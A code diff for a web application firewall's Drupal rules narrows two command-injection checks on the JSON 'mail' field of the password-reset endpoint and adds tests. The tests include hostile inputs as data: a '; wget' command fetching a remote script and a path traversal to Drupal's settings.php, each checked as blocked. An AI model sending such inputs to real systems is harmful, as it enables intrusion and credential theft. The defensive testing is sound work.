diff --git a/SPEC.md b/SPEC.md index af7e048..0a78d61 100644 --- a/SPEC.md +++ b/SPEC.md @@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them: - `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` when resetting a password through Drupal's JSON format on `/user/password`, for the same four rules. + - `mail` in that same reset, for 932120 and 932260 only. - `name` when signing up, editing an account and commenting without an account, for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 685fee6..3ee559c 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932260;ARGS:json.name" + +# The same reset may name the account by its address in the JSON field mail: +# POST /user/password?_format=json with a mail of python3@example.com. An +# address skips only the two rules the recorded addresses set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900818,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.mail "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.mail" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 2bf644e..35aaa7e 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { scriptTag, `; wget http://example.com/x.sh`, `../../sites/default/settings.php`, + } { + for _, field := range []string{"name", "mail"} { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"` + field + `":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + } + + // An address keeps 932250, which refuses ls -la, and 930120, which + // refuses system file names. + for _, kept := range []struct { + value string + rule int + }{ + {"ls -la", 932250}, + {".htaccess@example.com", 930120}, } { r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} - body := `{"name":"` + attack + `"}` + body := `{"mail":"` + kept.value + `"}` got, _ := inspectBody(t, crs, r, body) - if got.Score < drupalThreshold { - t.Errorf("POST %s %s let through: %+v", r.target, body, got) + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) { + t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule) } } } @@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } } + + for _, address := range []string{"python3@example.com", "powershell@example.com"} { + r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body := `{"mail":"` + address + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } } func TestDrupalExclusionsAreNarrow(t *testing.T) { @@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Errorf("POST %s let through: %+v", r.target, got) } } + + // So does the JSON field mail. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.mail=python3%40example.com", + "/user/register?_format=json", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } } diff --git a/internal/coreruleset/testdata/drupal-requests.txt b/internal/coreruleset/testdata/drupal-requests.txt index 3dc76f3..004769b 100644 --- a/internal/coreruleset/testdata/drupal-requests.txt +++ b/internal/coreruleset/testdata/drupal-requests.txt @@ -412,6 +412,11 @@ {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"
SELECT rows FROM table, then ls -la.
\", \"format\": \"basic_html\"}}}}"} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}